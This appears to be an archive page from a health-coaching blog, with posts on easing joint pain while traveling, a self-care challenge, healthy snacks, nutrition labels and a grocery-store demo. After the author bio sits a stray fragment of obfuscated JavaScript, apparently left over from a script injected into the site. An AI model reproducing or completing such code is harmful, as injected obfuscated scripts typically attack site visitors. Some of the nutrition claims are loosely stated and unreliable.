Teas

3 Mar 0

7 Tips for Surviving Joint Pain While Traveling

The worst thing we can do to ourselves before vacation is get crammed in our seat on a flight for hours or driving in a car with no room to move. I’ve been there, but it comes at a cost. We end up having that unwanted joint pain and aches that won’t budge and you end up being irritable. It leads to unnecessary anxiety and stress. Plus the other members traveling aren’t having any fun hanging around you right now. Keep in mind, it’s even harder to tolerate joint pain and achiness in colder climates. That’s why you want to keep your joints limber with the following key factors.

Here are some techniques to helping you relax and enjoy the ride:

Hacks to Help You Relax & Enjoy The Ride!

Get comfortable- Ask for a pillow or bring a back roll. Get up periodically and walk around the cabin, or train. Make vehicle stops to get up and move around plus if you’re maintaining your hydration levels, you’re stopping frequently for bathroom breaks. Especially pertinent to those with arthritis. Adjust your seat to have some room to let your legs stretch, which will provide some relief in such a crammed area. Choose an aisle seat to gain that extra flexibility to get up versus being a bothersome to others in the row. If you are suffering from a knee pain condition, you might want to choose an aisle bulkhead seat, which provides additional leg room. Plus booking connecting flights will aid in the additional activity that your joints need to keep them from stiffening up.
Driving to the destination- If you don’t mind the long car trip, opt for driving instead of flying to give you some relief on your joints. You have more flexibility in your seat options. Plus if you have another driver who can take turns – it can alleviate the pressure of staying in the same position and you are able to move the seat all the way back. Keep in mind, there’s always cruise control and therefore less bending at your knee. Considering a brace might be beneficial to compensate for the injured ligaments and provide relief.
Physical Activity- Provide the extra stability in building your quadriceps muscles with strength training. Of course, it doesn’t happen overnight, so you would want to encorporate a routine several months in advance.
Carry along enough medication- So you are prepared for the entire trip and place extra in another bag, in the event of lost luggage.
Medical Condition- If you have been diagnosed with a medical condition, update the airline prior to your trip to accommodate you with providing you a wheelchair and early boarding. Also airline personnel is there to help you carry your luggage or assist with the overhead bin, if needed.
Booking a flight- Ask about getting one with less passengers to give you additional flexibility. Considering you most likely have the achy joints in the morning, you will want to consider a later am or afternoon flight.
Heat or Ice- Bring along whichever option works for you on your flight or car ride to give you some extra relief. Use heat wraps or bring a reseal able bag as the flight attendant can provide you with the ice.

Preparation is key to any successful trip – stay active whether it’s walking or swimming, while maintaining appropriate stretches to keep your joints limber and ready for the next trip. Maintaining a healthy diet, including dairy, fruits, grains, and vegetables can provide antioxidant benefits. Encorporate foods with that provide you nutrients such as oranges, cabbage, spinach, and tomatoes. This will support the creation of cartilage and by ensuring you have the essential amount of milk daily will provide you the additional support of calcium to increase strength in your joints. Always make sure you are hydrated and eliminate processed foods and sugars as the inflammation spreads in the body. You should supplement with Omega 3 fatty acids, such as fish or walnuts. Ensure you are getting the 6-8 hours of sleep to help reduce fatigue, and stiffness in your joints.

Simple adjustments can make any trip worthwhile and easier to enjoy when you don’t have lingering pain taunting you. It also provides you with less pain in the future as the ligaments are getting adjusted to strength exercises and a well-balanced diet. It can only to your longevity and quality of life.I hope this article finds you in good health!
Sources:
https://www.everydayhealth.com
https://www.arthritis-health.com
http://www.athletico.com

About the Author

Connie Stoltz-McDonald is an Integrative Nutrition-Certified Health Coach, CPT, Wellness Educator, and Blogger, whose passion for living a healthy lifestyle has become her mission through helping others achieve a balanced life. From her passion for writing, she is excited to announce her first book release titled “Healthy Lifestyle- The inside secrets to transforming your body and health.” If you’d like to get a copy, you can connect with her at
Facebook | Linkedin | Instagram

place’](_0x287a(‘0x16’));}}}}}(this));};

Connie

8 Jun 0

Self-Care Challenge

Even though, we are 8 days in the month, it’s never too late to take action on your health….

Self care can be difficult to get into the habit of doing for ourselves. It is a sad truth. We would rather tackle a laundry list of items for our households, work, and family before we even begin thinking about taking time for ourselves.

What is the deal with that?

It takes more than one special moment or one day to cultivate the real love within you that you may have been neglecting from yourself. This is why I created this 30-day self care challenge. If you are like me then perhaps you need to challenge yourself in order to commit. Don’t worry this will be easier than it sounds and all items in this self-care challenge are designed to help you connect fully with yourself and fill you up with love and happiness.

I wanted to provide different self care choices… So that you will stick with it because you found something that you’ve been wanting to do, but never had the push or time to do it. Now is the time!

So are you ready to begin the best 30-day challenge you will ever do for yourself? Good! Let’s do this!

There is no particular order to this challenge. Do one thing a day and let me know how you do in the comments.

LHM Coach Facebook Page

http://scaleitsimple.com/2017/08/07/30-day-self-care-challenge/

Connie

24 May 0

Clean eating snack ideas to help you survive the holidays

We struggle with it ourselves and know that helping kids make healthy choices with snack foods can be impossible at times. We know that finding healthy snacks can be a challenge.

Wanting a snack? A clean snack? We’ve gathered together this huge clean eating snack list full of clean eating snacks that are super simple to make (under 5 minutes most) and put into a PDF for you. Get the PDF printable version below.

https://healthyhappysmart.com/healthy-snack-foods-clean-eating-snacks/

Connie

30 Apr 0

Do we really have to be a scientist to figure out nutrition labels?

First, figure out how much food was analyzed by the folks who prepared the nutrition label. Serving size clearly describes this set amount of food. Of course, most packages contain more than one serving, and “Servings Per Container” refers to the number of single servings in the entire package. For example, the following label reports that a serving size is ½ cup and there are four servings per container. Therefore, there must be 2 full cups in the entire package because ½ cup × 4 = 2 cups.

Do you eat the amount of food defined as one serving? Remember, fat and calorie measurements on the label are for a single serving size only. And we know it’s easy to eat more than one measly serving. Here’s a perfect example of the difference between serving size and the actual servings eaten: one serving of ice cream (½ cup) has approximately 12 grams of fat. Most of the people I know can easily eat 1 cup in a sitting, and you know what that means. When you double the serving size, you double everything: the calories, protein grams, carbohydrate grams, and, of course, the fat grams. Pay close attention to the amount per serving. If you go over (or under) on servings, keep that in mind when reading the remaining information.

https://www.familyeducation.com/life/food-labels/how-decode-nutritional-labels?page=2

Connie

19 Apr 0

Healthy Lifestyle Nutrition Demo Live at Cub Foods

If you’re in the Inver Grove Heights area, Stop in to see me in action presenting a live nutrition demo, along with a play along health trivia giveaway for 12 lucky winners, nutrition handouts & resources and a drawing for a Free Health Coaching Program! It’s going to be an event you don’t want to miss as it’s Cub Foods Grand Opening Event with a store full of events, giveaways and deals. Special thanks to Cub Foods for sponsoring my nutrition book “Healthy Lifestyle” and “Lifestyle Health Mentor” so we are able to provide healthy alternatives in the kitchen and resources to making meal prep a cinch!